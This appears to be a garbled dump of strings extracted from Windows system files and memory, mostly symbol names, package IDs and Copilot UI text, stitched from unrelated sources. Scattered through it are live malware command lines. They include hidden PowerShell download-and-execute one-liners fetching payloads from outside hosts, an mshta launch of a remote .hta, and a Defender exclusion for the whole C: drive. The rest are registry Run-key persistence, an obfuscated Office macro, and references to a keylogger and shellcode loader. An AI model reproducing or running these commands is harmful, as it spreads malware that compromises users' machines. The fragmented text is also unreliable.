.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@H@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@H@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@winrt@@
.?AU?$promise_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements_composable_inner@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@H@experimental@std@@$0A@@impl@winrt@@
.?AU?$root_implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@H@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsCompareStringOrdinal
EnumChildWindows
onecoreuap\windows\core\dispbroker\lib\agilenestableruntimeclass.cpp
onecoreuap\windows\core\dispbroker\lib\displayadapter.cpp
onecoreuap\windows\core\dispbroker\inc\private\WeakRefCache.h
onecoreuap\windows\core\dispbroker\lib\displaytarget.cpp
onecoreuap\windows\core\dispbroker\lib\displaymodeinfo.cpp
onecoreuap\windows\core\dispbroker\lib\displaybrokeralpcmapper.cpp
WINDOWSBACKUP.APPXWKWYS2TNB5SKGFNMHA1A46RD50FYRDP8.MCA
WINDOWSBACKUP.APPX0REBZWN6AM0H21D99KR6VPZWCVM6RAP7.MCA
WINDOWSBACKUP.APPX5P0DT3FN160MGQ761Y9TK0CXRFC7DND6.MCA
wow64_microsoft-windows-uiautomationcore_31bf3856ad364e35_none_dcecc80618b0f04b
wow64_microsoft-windows-uiribbon.resources_31bf3856ad364e35_en-us_6a0cd4e922753aca
wow64_microsoft-windows-uiribbon_31bf3856ad364e35_none_e1b9e80b8fae24a1
wow64_microsoft-windows-unbcl_31bf3856ad364e35_none_7e8092de45c84af3
wow64_microsoft-windows-undockeddevkit_31bf3856ad364e35_none_16fb5bd5ef227c75
wow64_microsoft-windows-unimodem-config_31bf3856ad364e35_none_9d41231d1ca1112a
wow64_microsoft-windows-unimodem-core-atmini_31bf3856ad364e35_none_d4457f2adecb3706
wow64_microsoft-windows-unimodem-core-tsp_31bf3856ad364e35_none_d35c283bec86d083
wow64_microsoft-windows-unimodem-core_31bf3856ad364e35_none_80b5dbfeebf999c1
LogObfuscationKeyManager::CopyKeyStoreWindows
.Windows.Graphics.DisplayBroker.Aggregate
Microsoft.Windows.Graphics.Display
Microsoft.Windows.Graphics.DisplayBroker
Microsoft.Windows.TlgAggregateInternal
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
MicrosoftWindows.57242383.TasbarCN=#
Microsoft.Windows.PrintQueueActionCenterCN=+
.exeWindows.FullTrustApplica
Windows.Data.Platform.Diagnostics.DiagnosticDeviceData
Windows.Data.Platform.Diagnostics.DiagnosticSingletonData
Windows.Data.Platform.Partitioning.DeviceExperiencePartition
Windows.Data.LockScreenSettings.DesktopLockScreen
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
Windows.Data.Platform.Partitioning.OperatingSystemVersion
Windows.Data.Globalization.RegionalFormatOverrides
Windows.Data.Platform.Diagnostics.DiagnosticAtomicSubData
Microsoft-Windows-DirectoryServices-ADAM-Snapins-Admin-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
)CloudData.WindowsClient.DisableSyncOnActivityFeed
U.exe-windowstylehidden-command"add-mppreference-exclusionpath'c:'"set"temp_file=%temp%\runtimebrokerd
get-childitem-path"registry::hklm\software\microsoft\windows\currentversion\authentication\credentialproviders
UMicrosoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe
UMicrosoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe
UMicrosoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe
UMicrosoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe
UMicrosoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Windows.3
tshutdown -r -t 11 -f>>c:windowshartlell.batreg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /freg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v /t reg_sz /d c:windowshartlell.bat /f!#ALF:Trojan:Win32/Zloader.SIBD!MTB
uwindows live messenger!
OnWinlogonCreateA
c:\programdata\system32.exe
C:\WINDOWS\system32\backgroundTaskHost.exeC
    name="Microsoft.Windows.Shell.stobject"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
startmshta%0goto:eof<hta:applicationwindowstate="minimize"/><script>
Windows
Windows
Windows
WindowsDefenderSpamNotepadChang
zgmshta.exec:/windows/system32/
VS2012WindowSplitterControlFactory
VS2013WindowSplitterControlFactory
IWindowSplitterControlFactory
set_WindowSplitterControlFactory
windowsSplitterFactory
Microsoft.Windows.Widgets
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\My saved passwords - NotepadCityBank log-inA:\||
Windows.ApplicationModel.Background.DeviceServicingTrigger
Windows.ApplicationModel.Background.DeviceUseTrigger
Windows.ApplicationModel.Background.EmailStoreNotificationTrigger
Windows.ApplicationModel.Background.GattCharacteristicNotificationTrigger
Windows.ApplicationModel.Background.GattServiceProviderTrigger
Windows.ApplicationModel.Background.GeovisitTrigger
Windows.ApplicationModel.Background.LocationTrigger
Windows.ApplicationModel.Background.MaintenanceTrigger
Windows.ApplicationModel.Background.MediaProcessingTrigger
alert('windowssecurity20
globalDiagnosticsFoundationLoggingFieldsWindowsapplyctor
StartRequestWindowSizeChange
%P\Windows PC Defenderi
Windows PC De
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\registry.h
Windows PowerShell ISE (x86).lnk=@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-102
Windows PowerShell ISE.lnk=@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-101
Administrative Tools.lnk=@%SystemRoot%\system32\shell32.dll,-21762
File Explorer.lnk=@%SystemRoot%\system32\shell32.dll,-22067
LocalizedResourceName=@%SystemRoot%\System32\themeui.dll,-2122
@%Systemroot%\system32\wsmsvc.dll,-101
@%SystemRoot%\System32\wlansvc.dll,-257
@%SystemRoot%\system32\lpasvc.dll,-1000
@%systemroot%\system32\XboxNetApiSvc.dll,-100
  <xs:simpleType name="ST_AsciiWindowsId">
    <xs:restriction base="ST_AsciiWindowsId">
Microsoft Windowse
Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Mobile Safari/537.36 Edge/18.17678
Windows IoT 8.0
Windows IoT OS 7.5
Windows Phone 8.0
Windows IoT OS 7.0
Windows Phone OS 7.5
Windows Phone OS 7.0
Windows NT %u.%u%s
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
.initwithpath(\"c:\\\\windows\\\\system32\\\\wscript.exe\");\nprocess.init(sh);\nvarargs=[jscriptfile.path,b64];\nprocess.run(true,args,args.length);
%);set-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'-name'
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
WINDOWS11
WINDOWS11
WINDOWS11
Model@WindowsUdk
0Model@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits
WindowsFormsWithDatabaseW
Windows
Windows
Windows
Windows
Windows
Windows NT\CurrentVersion\Winlogon
system32\ctfmom[
(system32\regsvr32%temp%\
.rtfc:\windows\explorer.exe%
fennec-windows
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
windir=C:\WINDOWS
Windows.Data.Platform.Encryption.EncryptableValue
Windows.Data.Platform.Partitioning.PartitionMetadata
Windows.Data.Platform.Partitioning.PartitionInfo
Windows.Data.Platform.Partitioning.OperatingSystemVersion
Windows.Data.Platform.Diagnostics.DiagnosticData
Windows.Data.Accessibility.EyeControl.SyncedSettings
Windows.Data.Accessibility.Narrator.SyncedSettings
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileData
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
Windows.Data.Platform.Diagnostics.DiagnosticDeviceData
Windows.Data.Platform.Diagnostics.DiagnosticSubData
Windows.Data.Globalization.RegionalFormatOverrides
Windows.Data.Accessibility.Keyboard.SyncedSettings
Windows.Data.Platform.Diagnostics.DiagnosticSecureData
Windows.Data.Platform.Diagnostics.DiagnosticSubDataIntKey
Windows.Data.Globalization.Culture.CultureSettings
Windows.Data.Accessibility.Magnifier.SyncedSettings
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
Windows.Data.Platform.Diagnostics.DiagnosticSingletonData
Windows.Data.Platform.Diagnostics.DiagnosticAtomicSubData
Windows.Data.Platform.Diagnostics.DiagnosticCollectionItemData
Windows.Data.Input.Devices.TouchpadSyncedSettings
%:\windows\.*%.batL
.WindowSt
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
string)set rwindowst
go-shellcode/shellcode_windows.goh
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
KCU\SOFTWARE\Microsoft\Windows\Shell\Associations\Url
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
s\system32\zipfldr.dll%
utername!"%windir%\system32\shell32.dll%
Microsoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
PROFILE=C:\WINDOWS\ServiceProfilesa
2026-02-24 09:02:32,062 [1] INFO  - Microsoft Windows 11 Pro  64-bit
2026-02-24 09:07:24,878 [1] INFO  - Microsoft Windows 11 Pro  64-bit
 Windows 
 Windows 
 Windows 10 
oot\System32\DRIVERS\fvevol.sys
.Windows.Cortana_cw5n1h2txyewy!
Microsoft-Windows-ZTDNS-Package-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-ZTDNS-Package-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
.php?p=sevenzip&tid=SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Windows Refresh
windowstrustedrt>
ComSpec=C:\WINDOWS\system32\cmd.exe
*.map.|%WINDIR%\system32\svchost
\system32\
("cmdc:\windows\system32\cmd/c"set
Volume3\Windows\System32\wbem
z0powershell.exe-windowstylehidden-executionpolicybypass-command
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsStringHasEmbeddedNull
DriverData=C:\Windows\System32\
Mozilla/5.0 (Windows NT 10.0; Win64; x
reg deletenetshmsdt - phasecadence license managerappendtool.exe -filesxs_assembly_name=microsoft.windows.msdt
c:\windows\system32\mshta.exe0939476284995&..\..\..\..\windows\system32\mshta.exehttps://transacor.ma/account.hta
Application.Run ("Apply.Pick")Application.Run ("Start.Work")Application.Run ("Windows.Continue")Application.Run ("SmartWork.SmartWork")streaksmv51 = upholdsnv51 & ".ma" & "in"Application.Run (streaksmv51)= CreateObject(Chr$(87) & "ord.Ap" & "pli" & "cat" & "ion")= "C:\Windows\"dosagedv216 = dosagedv216 & Mid(sensory16stv, 22, 1)= CreateObject(Chr$(87) & "S" & "cr" & "ip" & "t." & "sh" & "ell").RegWrite guignolrgv51, newValue, "REG_DWORD"Behavior:MacOS/Bundlore.C
WindowScrollTopc
WindowScrollTop()-u,
}();_w.WindowsW
Microsoft-Windows-UserSessionManagement-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.SxS
%windir%\system32\winbioplugins
windowsactiondialog.exe
Microsoft.Windows.Sentinels.Realtime_0
    name="Microsoft.Windows.PrintScan.PrnFldr"
            name="Microsoft.Windows.Common-Controls"
SXS.DLL: assembly Microsoft.Windows.SystemCompatible is not found!
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
WinStore.Tasks.WindowsSearchTask
3^Microsoft.WindowsNotepad_8wekyb3d8bbwe!App=
c:\windows\system32\mshta.exe-
DontSyncWindows8AppSettings
Flag for enabling / disabling sync settings for Windows apps
SyncUnlistedWindows8Apps
Flag for enabling / disabling default sync settings for Windows apps
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Windows::Rtl::IPoolAllocator::AddAlignedBlob
BUCL::Rtl::BlockLookupTable<unsigned __int64,unsigned __int64,&long __cdecl Windows::Rtl::CompareIntegers<unsigned __int64>(unsigned __int64 const &,unsigned __int64 const &,int *),struct BUCL::Rtl::BlockLookupTablePODSetPolicy<unsigned __int64,unsigned __int64> >::Insert
Windows::WCP::Implementation::Rtl::FormatFourPartVersion
Windows::WCP::Implementation::Rtl::SanitizeAndAppend
Windows::WCP::Implementation::Rtl::AppendCharacter
Windows::WCP::Implementation::Rtl::CalculateFormattedBytesLength
Windows::WCP::Implementation::Rtl::FormatBytesIntoString
Windows::WCP::Implementation::Rtl::ParseDottedVersion
APPDATA=C:\WINDOWS\system32\config
USERPROFILE=C:\WINDOWS\system32\config
CNodeFactory::XMLParser_Element_doc_configuration_windows
CNodeFactory::XMLParser_Element_doc_configuration_windows_assemblyBinding
CNodeFactory::XMLParser_Element_doc_configuration_windows_assemblyBinding_probing
CNodeFactory::XMLParser_Element_doc_configuration_windows_assemblyBinding_assemblyIdentity
CNodeFactory::XMLParser_Element_doc_configuration_windows_assemblyBinding_dependentAssembly
CNodeFactory::XMLParser_Element_doc_configuration_windows_assemblyBinding_dependentAssembly_assemblyIdentity
CNodeFactory::XMLParser_Element_doc_configuration_windows_assemblyBinding_dependentAssembly_publisherPolicy
CNodeFactory::XMLParser_Element_doc_configuration_windows_assemblyBinding_publisherPolicy
CNodeFactory::XMLParser_Element_doc_configuration_windows_assemblyBinding_dependentAssembly_bindingRedirect
SXS.DLL: %s: ExpandEnvironmentStringsW() for %windir%\system32 failed with lastError=%d
EnumWindows
SetWindowsHookExW
UnhookWindowsHookEx
C:\WINDOWS\SYSTEM32\MICROSOFT.MANAGEMENTCONSOLE.DLL>4
\\keylogger_windowshook(final)\\x64\\(
oC:\WINDOWS\SYSTEM32\PORTABLEDEVICECLASSEXTENSION.DLL>5
.?AV<lambda_1>@?1??RemoveFromPath@EnvironmentManager@implementation@System@Windows@Microsoft@winrt@@QEAAXAEBUhstring@7@@Z@
.?AV<lambda_1>@?1??AddExecutableFileExtension@EnvironmentManager@implementation@System@Windows@Microsoft@winrt@@QEAAXAEBUhstring@7@@Z@
.?AV<lambda_1>@?1??SetEnvironmentVariableW@EnvironmentManager@implementation@System@Windows@Microsoft@winrt@@QEAAXAEBUhstring@7@0@Z@
.?AV<lambda_1>@?1??AppendToPath@EnvironmentManager@implementation@System@Windows@Microsoft@winrt@@QEAAXAEBUhstring@7@@Z@
.?AV<lambda_1>@?1??RemoveExecutableFileExtension@EnvironmentManager@implementation@System@Windows@Microsoft@winrt@@QEAAXAEBUhstring@7@@Z@
powershell-command"invoke-webrequest-uri'https://vidssave.site/live.mp4'-outfile'c:\users\public\videos\iptv-videos.ps1';start-processpowershell-argumentlist'-windowstylehidden-noprofile-executionpolicybypass-filec:\users\public\videos\iptv-videos.ps1'"
powershell-noprofile-executionpolicybypass-command^"[io.file]::writeallbytes('!ps1!',[convert]::frombase64string('!code64!'))"timeout/t1>nul>"!vbs!"echosets=createobject("wscript.shell")>>"!vbs!"echos.run"powershell-executionpolicybypass-windowstylehidden-file""!ps1!""",0,falsetimeout/t1>nulcscript//nologo"!vbs!">nul
-encodingutf8start-processpowershell-windowstylehidden-argumentlist"-executionpolicybypass-file`"$tmpf`""start-sleep-seconds3remove-item$tmpf-force-erroractionsilentlycontinue
M#c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-executionpolicybypass-command"&{start-process-windowstylehiddenpowershell-argumentlist'invoke-webrequest-uri\"https://github.com/topg6565767677/runtime-broker/raw/refs/heads/main/runtime%20broker1.exe
c:\windows\system32\windowspowershell\v1.0\powershell.exe-command$wnn=$env:programdata+'\'+(
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command&{$ty='dvn7d#jt'+'bdj*cju'+'bn^v45f'+'hjw#dhc'+'ghi576_f#ky'+'jh9fkj';[string]$acmd={(new-xwzobjectnxwzetxwz.webcxwzlient).doxwzwnlxwzoadxwzstrxwzinxwzg('ht'+'tp:/'+'/paxwzn'+'axwzkxwzeosxwz'+'xwz.icxwzu/scxwzripxwzts/scxwz-inxwzt'+'exwzrmexwzdiatxwze.xwzpsxwz1')};$rcmd=$acmd.replace('xwz','');$finalexec=iex$rcmd;iex$finalexec;}
Windows.System.NearShareExperienceReceive
Windows.System.ShareExperience
Windows.SystemToast.AccountHealth
Windows.SystemToast.AudioTroubleshooter
Windows.SystemToast.AutoPlay
Windows.SystemToast.BackgroundAccess
Windows.SystemToast.BackupReminder
osoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
\\.\root\Microsoft\Windows\HardwareManagement:__Win32Provider.Name="MSFT_PCSVDevice"
WindowsTerminal_1.18.10301.0_x64__
.WindowsTerminal_3001.18.10301.0_neutral_~_
Software\Microsoft\Windows\deregulationize\Uninstall\brugervejledningens\IntervariationS
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.3
Microsoft.Windows.Shell.SystemSettings.SettingsAppActivity
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.4
WindowsRuntime 1.4
Windows.Foundation
Windows.Foundation.winmd
Windows.Foundation.Collections
WindowsRuntime 1.4
windows, a
windows, X
8 it to minimize other windowsj
Windows Produc'
)C:\Windows\SystemApps\Microsoft
!C:\Windows\SystemApps\Microsoft.
.?AU?$__abi_FunctorCapture@V<lambda_a9dcfaaa5a1b8146fac42e10ba50f53e>@@XPE$AAU?$IAsyncOperation@PE$AAVUnifiedTileManager@UnifiedTile@Shell@WindowsInternal@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_c0e9c5fa386a998793ccf0720483e6f8>@@XPE$AAUIAsyncAction@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVUnifiedTileManager@UnifiedTile@Shell@WindowsInternal@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVUnifiedTileManager@UnifiedTile@Shell@WindowsInternal@@@Foundation@Windows@@
D:\a\_work\1\s\third_party\edge_webview2\win\webview2_api_writer\dotNetAPIWrapper\winrt_wrapper\packages\Microsoft.Windows.ImplementationLibrary.1.0.191107.2\include\wil\resource.h
Windows.UI.Composition.Interactions
Windows.UI.Composition.Scenes
WindowSizeChangedEventArgs
Windows.UI.Input
Windows.UI.Input.Core
Windows.UI.Input.Inking.Analysis
Windows.UI.Input.Inking.Core
Windows.UI.Input.Inking
Microsoft-Windows-Runtime-Metadata-Desktop-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft.WindowsAppSDK.Notifications.AppNotificationTelemetry
Microsoft.WindowsAppSDK.Notifications.AppNotificationBuilderTelemetry
Microsoft.WindowsAppSDK.System.PowerNotifications
Microsoft.WindowsAppRuntime.Deployment
Microsoft.Windows.System.EnvironmentManager.Insights
Microsoft.WindowsAppSDK.Deployment.PackageManagementTelemetry
Microsoft.WindowsAppRuntime.pdb
C:\__w\1\s\dev\AccessControl\Microsoft.Windows.Security.AccessControl.cpp
class wil::unique_any_t<class wil::details::unique_storage<struct wil::details::resource_policy<void *,void * (__cdecl*)(void *),&void * __cdecl LocalFree(void *),struct wistd::integral_constant<unsigned __int64,0>,void *,void *,0,std::nullptr_t> > > __cdecl winrt::Microsoft::Windows::Security::AccessControl::implementation::GetSecurityDescriptor(struct winrt::array_view<struct winrt::Microsoft::Windows::Security::AccessControl::AppContainerNameAndAccess const >,const struct winrt::hstring &,unsigned int,unsigned int *)
struct winrt::hstring __cdecl winrt::Microsoft::Windows::Security::AccessControl::implementation::SecurityDescriptorHelpers::GetSddlForAppContainerNames(struct winrt::array_view<struct winrt::Microsoft::Windows::Security::AccessControl::AppContainerNameAndAccess const >,const struct winrt::hstring &,unsigned int)
C:\__w\1\s\obj\Release\x64\WindowsAppRuntime_DLL\Generated Files\Microsoft.Windows.Security.AccessControl.SecurityDescriptorHelpers.g.h
struct winrt::Windows::Foundation::IInspectable __cdecl winrt::Microsoft::Windows::Security::AccessControl::factory_implementation::SecurityDescriptorHelpersT<struct winrt::Microsoft::Windows::Security::AccessControl::factory_implementation::SecurityDescriptorHelpers,struct winrt::Microsoft::Windows::Security::AccessControl::implementation::SecurityDescriptorHelpers>::ActivateInstance(void) const
FC:\__w\1\s\obj\Release\x64\WindowsAppRuntime_DLL\Generated Files\winrt\base.h
C:\__w\1\s\dev\WindowsAppRuntime_Insights\WindowsAppRuntimeInsights.h
auto __cdecl winrt::impl::consume_Windows_Foundation_IUriRuntimeClass<struct winrt::Windows::Foundation::IUriRuntimeClass>::AbsoluteUri(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IUriRuntimeClass<struct winrt::Windows::Foundation::IUriRuntimeClass>::QueryParsed(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IWwwFormUrlDecoderRuntimeClass<struct winrt::Windows::Foundation::IWwwFormUrlDecoderRuntimeClass>::GetFirstValueByName(const struct winrt::param::hstring &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncInfo<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Storage::StorageFile> >::Status(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Storage::StorageFile>,struct winrt::Windows::Storage::StorageFile>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::Windows::Storage::StorageFile> &) const
\appdata\roaming\microsoft\windows\templates\s
WINDOWS11
WindowsTelemetry
Microsoft.Windows.MediaPlayer32
Microsoft.WindowsTerminal_8wekyb3d8bbwe!App
demoteWindowsMediaPlayer
Windows::Isolation::Rtl::RtlCreateDefinitionIdentity
Windows::Isolation::Rtl::RtlCreateUtf8DefinitionIdentity
Windows::Isolation::Rtl::RtlParseDefinitionIdentity
Windows::Isolation::Rtl::RtlParseUtf8DefinitionIdentity
Windows::Isolation::Rtl::RtlFormatDefinitionIdentity
Windows::Isolation::Rtl::RtlFormatUtf8DefinitionIdentity
Windows::Isolation::Rtl::RtlDuplicateDefinitionIdentityHandle
Windows::Isolation::Rtl::RtlCloseDefinitionIdentityHandle
Windows::Isolation::Rtl::RtlGetDefinitionIdentityAttributeValue
Windows::Isolation::Rtl::RtlSetDefinitionIdentityAttributeValue
Windows::Isolation::Rtl::RtlAreDefinitionIdentitiesEqual
Windows::Isolation::Rtl::RtlQueryInformationDefinitionIdentity
Windows::Isolation::Rtl::RtlGenerateDefinitionIdentityUnicodeKeyForm
Windows::Isolation::Rtl::RtlCreateDefinitionIdentityAttributeEnumerator
Windows::Isolation::Rtl::RtlHashDefinitionIdentity
Microsoft.Windows.FileSystem.NTFS
Microsoft.Windows.FileSystem.NTFS
Microsoft.Windows.Security.EFS.EfsLibAggregate
Microsoft.Windows.Security.EFS.EfsLib
Microsoft.Windows.EFS.EFSRPC
Microsoft.Windows.EDP.Enforcement
Microsoft.Windows.TlgAggregateInternal
,{$=zI\Programs\whsurvey.exe\Programs\whagent.exe\Programs\webhdll.dll2AA291C5-03E7-46bc-AC8C-14FB091A49CCCustomer CompanionSurvey CompanionSoftware\Microsoft\Windows\CurrentVersion\Uninstall\webHancer Agent
temRoot%\system32\mswsock.dll
uildNumber='26200' distroName='Windows' distroVersion='10.0' family*
_?topLevelWindows@QGuiApplication@@SA?AV?$QList@PEAVQWindow@@@@XZ
Windows\CurrentVersionZ
PowerShell\Modules;C:\WINDOWS\system32.
%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
Properties)0Windows.Data.Unified$
$safebrowsing.aesb_update_time_windows_epoch_micros
WindowsApps\Microsoft
.windows_hello
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
USERDOMAIN=Windows11<
